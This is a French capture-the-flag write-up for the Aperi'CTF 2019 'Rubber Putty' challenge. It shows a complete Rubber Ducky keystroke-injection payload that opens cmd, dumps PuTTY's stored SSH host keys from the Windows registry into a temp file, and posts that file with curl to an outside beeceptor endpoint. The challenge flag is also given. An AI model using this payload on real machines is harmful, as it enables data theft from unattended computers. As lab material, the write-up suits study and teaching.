Aperi’CTF 2019 - Rubber Putty
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | Rubber Putty | Physique | 100 | ??? |
L’utilisateur du PC ducky semble enregistrer ses session Putty sur son ordinateur. Récupérer les clé SSH stoquées par Putty. L’exfiltration des données peut se faire à l’aide d’internet uniquement. Le flag respecte le format APRK{…}.
TL;DR
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys > %Temp%/mysecretssh.txt
curl -X POST -d @%Temp%/mysecretssh.txt https://aperictf.free.beeceptor.com/key
Méthodologie
Nous devons extraire les sessions PuTTY vers un endpoint internet en utilisant uniquement une clé HID Rubber Ducky :
Cette clé est une clé USB qui se comporte comme un clavier : une fois branchée, elle va taper le payload que nous voulons. Voir cette vidéo YouTube pour plus d’explications sur le Rubber Ducky.
Pour compléter le challenge, j’ai fait une rapide recherche sur internet pour savoir où PuTTY stocke les informations known_hosts sur Windows :
HKEY_CURRENT_USER\SoftWare\SimonTatham\PuTTY\SshHostKeys. Cette clé peut être affichée avec la commande reg query [keypath]. Nous pouvons exporter notre clé dans un fichier avec cette commande : reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys > %Temp%/mysecretssh.txt.
Maintenant que nous savons comment stocker les clés SSH dans un fichier, nous devons envoyer ce fichier vers un endpoint sur internet. Pour cela, vous pouvez monter un serveur HTTP ou utiliser un endpoint tel que beeceptor. Comme curl est installé sur l’ordinateur cible du Ducky, nous allons l’utiliser pour envoyer notre mysecretssh.txt vers notre beeceptor :
curl -X POST -d @%Temp%/mysecretssh.txt https://aperikube.free.beeceptor.com/keys. Notez le @ qui permet de spécifier l’emplacement du fichier.
Voici le payload ducky final :
DELAY 3000
GUI r
DELAY 1000
STRING cmd
ENTER
DELAY 1000
STRING reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys > %Temp%/mysecretssh.txt
ENTER
DELAY 1000
STRING curl -X POST -d @%Temp%/mysecretssh.txt https://aperikube.free.beeceptor.com/keys
ENTER
Ensuite, nous avons compilé le script sur ducktoolkit.com/encode avec le layout FR, mis le fichier sur la carte Micro SD à l’aide de l’adaptateur, puis branché le Rubber Ducky.
Une fois branchée, nous avons reçu une requête sur notre beeceptor :

Flag
APRK{R3g1$TRY_K3Y_3xF1LtRAT10n}